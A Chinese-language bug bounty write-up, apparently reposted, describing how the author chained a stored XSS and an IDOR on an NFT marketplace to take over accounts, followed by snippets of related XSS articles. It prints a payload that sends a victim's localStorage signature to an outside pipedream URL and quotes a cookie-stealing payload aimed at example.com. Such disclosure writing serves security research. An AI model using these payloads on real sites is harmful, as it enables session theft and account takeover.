记一次NFT平台的存储型XSS和IDOR漏洞挖掘过程

VSole2023-06-30 11:16:42

记一次NFT平台的存储型XSS和IDOR漏洞这是我在 NFT 市场中发现的一个令人兴奋的安全问题,它允许我通过链接 IDOR 和 XSS 来接管任何人的帐户,以实现完整的帐户接管漏洞。

我们将用实际流程来覆盖每个漏洞,然后将所有这些问题串联起来

XSS →IDOR → 账户接管

我们先从XSS开始注意:我们将目标应用程序称为vulnerablemarketplace.com

关于此应用程序:在此应用程序中,每个请求都通过签名进行验证,该签名的作用类似于 cookie 或身份验证标头。

漏洞1:存储型XSS与其他应用程序一样,它有一个个人资料部分,用户可以在其中上传个人资料图片/上传艺术作品/更新个人简介/电子邮件/添加 Instagram 或 Telegram 等社交链接


所以我做的最基本的步骤是将我的 Twitter 和 Instagram 链接保存为 javascript:alert(document.domain) ,当我保存我的信息并单击 Twitter 或 Instagram 图标时,javascript 被执行,这确认我们在nft 市场

复现步骤1.使用钱包登录我的vulnerablemarketplace.com nft 帐户

2.然后导航到我的个人资料设置并将我的 Instagram 和 Twitter 链接保存为 javascript:alert(document.domain)

这是帖子请求:


3.每当我们点击我们的个人资料 Twitter 或 Instagram 图标时,XSS 就会被执行


漏洞 2:idor 修改任何用户的个人资料详细信息关于漏洞:攻击者可以修改用户的个人资料信息,包括联系电子邮件、Twitter 或 Instagram 链接,这里唯一的要求是我们需要获取受害者的钱包地址(这已经是区块链上的公开信息,因为每个用户都共享一个钱包地址)某人或其他人)。

要求:受害者钱包地址(我们可以轻松获得,因为用户与其他用户共享此地址,并且地址是公共信息)

复现步骤设置:我创建了两个帐户 A. 攻击者 B. 受害者(复制受害者钱包地址)

1.攻击者将他的钱包连接到vulnerablemarketplace.com

2.转到他的个人资料设置并在电子邮件、Twitter 链接上输入任何随机信息,并在任何代理工具 (BURP) 中捕获请求

3.从攻击者的角度来看,此帖子请求中的一些参数非常有趣,包括 acccount_address、signer 和签名。

account_address=用户钱包地址

签名者=与账户地址相同

签名 = 充当身份验证令牌或 cookie 来正确验证用户的请求

4.我将攻击者的account_address修改为受害者的账户地址并发送请求


5.是的!!!我们能够用我们自己的价值观修改受害者用户的个人资料。我们能够使用我们自己的控制值修改受害者的电子邮件、Twitter、Instagram 链接

注意:有些人可能会有疑问,如果我们能够修改受害者的电子邮件,那么帐户就已经被接管了??不,因为这是一个 NFT 应用程序,所以没有电子邮件身份验证,我们必须使用钱包扩展进行连接(我们需要窃取受害者签名,以便我们可以使用它来窃取 NFT 或艺术品)

打造漏洞利用链到目前为止,我们已经有了一个 IDOR 和一个 Stored XSS。我本可以与其他用户共享我的个人资料来窃取数据,但通过链接此 IDOR,我们可以修改信誉良好的用户的个人资料详细信息以增加影响

需要记住的事情:应用程序没有 cookie,但将签名值存储在浏览器 localStorage 中,因此我们将制作有效负载来窃取该签名值

复现步骤1.在 Burp 等代理工具中捕获更改个人资料信息的 POST 请求

2.修改此负载的 Instagram 和 Twitter 链接。

3.我们对签名值特别感兴趣,因为这是发出每个请求所必需的。签名值存储在 localStorage 中,因此这里是 javascript 有效负载,我们将使用它来窃取该值并将其发送到我们的 pipelinedream url javascript:token=JSON.stringify(localStorage),url='https://mypipedream.m.pipedream.net/'+token,fetch(url)

4.修改account_address为受害者钱包地址


5.请求并完成:) 一旦受害者点击他的 Instagram 或 Twitter 链接或用户访问受害者用户的个人资料,XSS 将被执行,用户的签名值将被泄露到我的服务器


现在您可以看到我们使用 XSS 窃取了受害者的签名。现在我们可以提出任何其他请求来执行其他经过身份验证的操作,例如出售艺术品或转让或删除用户的艺术品

漏洞披露


漏洞挖掘xss
本作品采用《CC 协议》,转载必须注明作者和本文链接
跨站脚本英文全称(Cross Site Scripting跨站脚本),为了不和css层叠样式表(英文全称:Cascading Style Sheets)混淆,因此将跨站脚本缩写为XSS。本期我们讲解一下XSS漏洞原理和利用检测。
ezXSS介绍ezXSS是一款用于渗透测试和漏洞挖掘XSS盲测跨站脚本工具。在演示版本中可能禁用了一些特性。
但当存在存储型XSS时,受害者打开此URL,攻击代码将会被触发,这种情况下便称之为存储型XSS漏洞。在标题处和帖子内容中分别填写payload,填写好之后,应与下图一致填写好内容之后,点击下方的发表按钮,即可进行发帖,发帖成功会弹出一个提示成功,如下图所示?????
xsshelp闲着没事随便写的一个辅助挖掘xss漏洞的工具xsshelp version: 1.0.0Usage: [-ut] [-u url] [-t thread] [-h help]Options: -h this help -t intthread Num -u string a target url
我发现了一个存储的XSS漏洞,我可以通过窃取cookie升级为帐户接管。我的payload目前需要最少的用户交互,只需单击即可。之后,向下滚动并单击取消预约。确保您拦截了此请求。使用以下有效载荷添加消息:"><xss/id="1"/tabindex="1"/onfocusin="window.location.href='https://example.com?cookie='%2bdocument.cookie">您通常会收到一个确认框,确认您的预约已取消,单击确定。即使管理员注销,此cookie也可以轻松重用。这是因为cookie不会过期。影响我能够通过取消我们的预约并包含一条消息来接管一个管理员帐户。这意味着我们必须找到一个具有用户交互的。
在查看电子邮件时,我发现了 Microsoft 的新服务预订。Microsoft booking 允许任何人预订服务/日历时段。此应用程序有两个界面,一个是内部界面,另一个是面向公众的服务页面。我决定深入检查这个应用程序。我尝试插入各种 XSS payload 来触发 xss 但没有成功。现在我的注意力转移到了这个标签上。应用程序有各种保护机制来防止脚本的执行。
在这篇文章中,我将讨论 Microsoft Forms 中反射式跨站点脚本 漏洞的详细信息。它允许用户创建表单和调查,与他人共享,并在集中位置收集响应。但是,我们发现可以将恶意JavaScript代码注入表单中,这些代码可以由毫无戒心的用户执行。我遵循了 MSRC 报告漏洞的准则并提交了我的发现。欲了解更多信息,请参阅:向 MSRC 提交报告的示例 https://www.microsoft.com/en-us/msrc/bounty-example-report-submission微软赏金计划 |微软公司 https://www.microsoft.com/en-us/msrc/bounty?
每个黑客都会遇到这个,第一个赏金。我实际上无法解释它的感觉,但我知道你们中的大多数人都能理解它的感觉。当我们开始在 Web 应用程序安全中进行漏洞赏金时,我们大多数人都会从 XSS开始,故事从这里开始。
记一次NFT平台的存储型XSS和IDOR漏洞这是我在 NFT 市场中发现的一个令人兴奋的安全问题,它允许我通过链接 IDOR 和 XSS 来接管任何人的帐户,以实现完整的帐户接管漏洞。我们能够用我们自己的价值观修改受害者用户的个人资料。现在我们可以提出任何其他请求来执行其他经过身份验证的操作,例如出售艺术品或转让或删除用户的艺术品漏洞披露
大家好,在本文中,我将分享我在2个TikTok资产发现的XSS漏洞。当我决定在TikTok 程序中寻找漏洞 时,我花了1个月的时间寻找这个XSS。当我在TikTok 卖家账户上创建产品时,这个 XSS 发现开始了我在卖家账户的产品名称中插入了 XSS payload。
VSole
网络安全专家